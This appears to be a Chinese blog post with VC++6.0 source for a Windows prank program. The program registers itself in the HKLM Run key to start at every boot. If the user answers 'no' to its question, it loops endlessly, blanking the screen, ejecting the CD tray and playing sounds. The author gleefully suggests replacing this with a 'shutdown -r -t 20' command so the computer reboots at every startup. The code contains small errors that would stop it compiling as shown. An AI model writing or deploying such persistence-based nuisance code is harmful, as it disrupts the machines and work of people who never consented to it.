VC++6.0中开机启动、关联音乐等
说一句题外话: 有人说学一些"龌龊"的黑客程序是没一点用处的。甚至极端的认为好像是学这些的人碰下自己的电脑就会中毒。
对与前者我想说:程序是没有错的,就看用在哪。如果是为了不义之财,那的确是龌龊。但,如果不是,那就是为了兴趣和了解,试想,如果一个精通脚本攻击的人想要做网站,我想其网站安全性应该要比不懂得高不少,要是一个精通病毒的人杀毒,效率一定要更高些吧?这些只是自己的兴趣而已。
对与后者,我只能说:亲,地球危险,不适合你,快回去吧。。。
好了,言归正传 上两个星期期末考试,就停下了好好看了看书,有一些学的程序还没总结,所以说,上课真是耽误学习!!!开个玩笑了。。。课是必须要好好上的,我可不想让我那可爱的PP遭受无情的摧残。。嘿嘿。
下面我做下有关VC中调用API实例初探:开机启动、关联音乐笔记吧
首先见一个win32 Application工程
#include<windows.h>
#include<mmsystem.h>//调用VC中的多媒体库(mm:multi-media)
#include <stdio.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)//窗口环境的接口
{
HKEY hkResult;//声明键名的类型
TCHAR lpFilename[MAX_PATH];//定义字符串数组文件名 开辟MAX_PATH 260个字节(#define MAX_PATH 260)
GetModuleFileName(NULL,lpFilename,MAX_PATH);/*API函数:获取程序绝对路径.(这样无论把程序拖到哪里运行过后都可以获得其地址,以便于获取路径到regedit中,开机即启动)*/
LPCSTR regname="Software\\Microsoft\\Windows\\CurrentVersion\\Run";/*获取文件名至regedit中的位置( LPCSTR 返回值一般为0)*/
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);/*创建注册表的键(参数:regedit中父文件夹,regedit中子文件夹的位置,引用键名)*/
if(ret != ERROR_SUCCESS)//判断是否成功(返回值为ERROR_SUCCESS成功,其他则失败)
{
MessageBox(NULL,TEXT("无法加入启动项"),TEXT("警告!"),MB_OK|MBICONQUESTION);//弹出
}
ret=RegSetValueEx(hkResult,"XX",0,REG_SZ,(unsigned char *)lpFilename,sizeof(lpFilename));
// API函数: 保存数据到注册表里,“软件注册”一项一般多设为程序的名字.具体自测。return为0(ERROR_SUCCESS) 成功
if(ret==0)//判断是否成功?
{
PlaySound(TEXT("C:\\WINDOWS\\Media\\Windows XP 硬件插入.wav"),NULL,
SND_FILENAME|SND_ASYNC);//API函数:调用格式为.wav的音乐文件
int r=MessageBox(NULL,TEXT("XX是好人么?"),TEXT("提问"),MB_YESNO|MB_ICONQUESTION|MB_DEFBUTTON2);/*弹出对话框并判断*/
if(r==IDNO)//返回值为"否"
{
while(1)(死循环)
{
PlaySound(NULL,NULL,NULL);//结束音乐
MessageBox(NULL,TEXT("我艹,哥还不是好人那谁是!"),TEXT("你妹啊!"),MB_OK);//弹出对话框
PlaySound(TEXT("C:\\WINDOWS\\Media\\Windows XP 注销音.wav"),NULL,
SND_FILENAME|SND_ASYNC|SND_LOOP);//API函数:调用格式为.wav的音乐文件
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);//API函数:黑屏
mciSendString("set cdaudio door open",NULL,0,0);//API函数:弹出光驱。
PlaySound(NULL,NULL,NULL); //结束音乐
}
}
else if(r==IDYES)//返回值为"是"
{
PlaySound(TEXT("C:\\WINDOWS\\Media\\Windows XP 启动.wav"),NULL,SND_FILENAME|SND_ASYNC|SND_LOOP); /*API函数:调用格式为.wav的音乐文件*/
MessageBox(NULL,TEXT("谢谢,好人呐,我终于找的知己了!"),TEXT("啦啦啦"),MB_OK);//弹出对话框
PlaySound(NULL,NULL,NULL);//结束音乐
}
printf("success to write run key\n");//可有可无
RegCloseKey(hkResult);//关闭句柄
}
else//判断没有写入regedit
{
RegCloseKey(hkResult);//关闭句柄
MessageBox(NULL,TEXT("打开失败,"),TEXT("警告!"),MB_OK);//弹出对话框
}
return 0;
}
编译时注意:在工程(Project)------>设置(Settings)------>连接(Link)对象/模块库中加入winmm.lib 并检测:subsystem:windows /incremental:yes,不行就关了重试,fatal error LNK 错误是我到现在见到的最恶心的错误。。。
运行一次就好了。再下来 开机就会自动运行了。。
嘿嘿,爽吧。。。要是把中间的程序换成system("shutdown -r -t 20")嘿嘿,开机就让重启飞一会儿吧~~要是再加点其他神马料
啧啧。。。嘿嘿
我想:破,然后才能立!只有自己动手做过,才能明白其中的机理和乐趣。我才刚刚开始,差的还太多,我会继续走下去,对与好的意见我会虚心听取,对与风言风语,我将一笑而过,我只要有自己的想法就好,我就是我!
有不对的地方欢迎 各位大侠指正
By:狗剩
<!--绝对蛋疼的一个人-->
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课